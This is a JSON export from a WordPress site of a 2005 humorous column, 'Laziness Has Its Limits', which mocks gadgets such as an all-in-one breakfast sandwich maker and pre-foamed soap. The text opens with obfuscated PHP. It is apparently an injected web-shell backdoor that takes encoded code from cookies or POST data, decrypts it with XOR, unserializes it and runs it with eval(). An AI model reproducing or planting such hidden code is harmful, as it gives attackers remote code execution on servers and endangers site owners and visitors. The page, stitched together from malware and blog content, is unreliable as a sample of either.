$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":83,"date":"2005-12-11T11:19:57","date_gmt":"2005-12-11T17:19:57","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=83"},"modified":"2007-08-12T16:43:49","modified_gmt":"2007-08-12T22:43:49","slug":"83","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=83","title":{"rendered":"Laziness Has Its Limits"},"content":{"rendered":"

But I have seen some things lately that truly disturb me. I think our smartest people should spend their time making our lives easier, but they seem to have taken a wrong turn.<\/p>\n

While walking around a store recently, I saw a contraption that sent me into a tizzy. I stood in the aisle and just shook my head.<\/p>\n

Someone actually makes a machine that toasts bread or a bagel, cooks an egg and warms sausage so you can make a breakfast sandwich all in one place.<\/p>\n

I love the breakfast sandwich and occasionally make them at home. But when did the toaster, stove and microwave end up in separate rooms in the house?<\/p>\n

Seriously, people. Is it that hard to toast something while you cook something? Has scrambling an egg and putting pre-cooked sausage in the microwave gotten that difficult?<\/p>\n

What made me even more upset than the machine itself were the positive reviews it has received online. These people just encourage manufacturers.<\/p>\n

They are probably responsible for the new coffee makers that are now advertising the magic of one-hand dispensing.<\/p>\n

When I saw one of these in the store the other day, I had to stop and look. One the box, they had a picture of a woman holding a baby and pressing her coffee cup against the button which let the coffee flow.<\/p>\n

I ask again, has pouring coffee from a pot turned out to be an incredible imposition? I have pretty small hands, but I could pretty much manage to put my mug on the counter and tip the pot with one hand. Was I supposed to be using two hands all these years?<\/p>\n

I probably even did it while holding Bridget when she was younger. Please don\u2019t call Children and Youth Services on me. I didn\u2019t know I could get coffee at the press of the button. Honest.<\/p>\n

Kitchen gadgets don\u2019t have a monopoly on excessive laziness. Now soap has gotten into the act.<\/p>\n

At the risk of sounding like Jerry Seinfeld, what is the deal with this pre-foamed soap? I am always looking for ways to cut corners, but I never considered that rubbing my hands together would get too difficult.<\/p>\n

As a parent, I love the stuff. I know that Bridget will get a good lather going whether she wants to or not. But they need to put an age limit on this stuff.<\/p>\n

I think once you hit double-digits, you can make your own suds, but that\u2019s just me. I\u2019m getting really disturbed seeing this stuff in restrooms because that means we\u2019ll never get rid of it.<\/p>\n

Can\u2019t we get back to developing better remote controls or planning for moving sidewalks everywhere? Those are the real problems facing America.<\/p>\n","protected":false},"excerpt":{"rendered":"

If I have dedicated myself to anything over the past 37 years, it has been laziness. From my days as a child when one of my brothers had to carry me upstairs to breakfast to now when I will skip…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,4],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-columns","category-things-i-hate","wpcat-3-id","wpcat-4-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=83"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}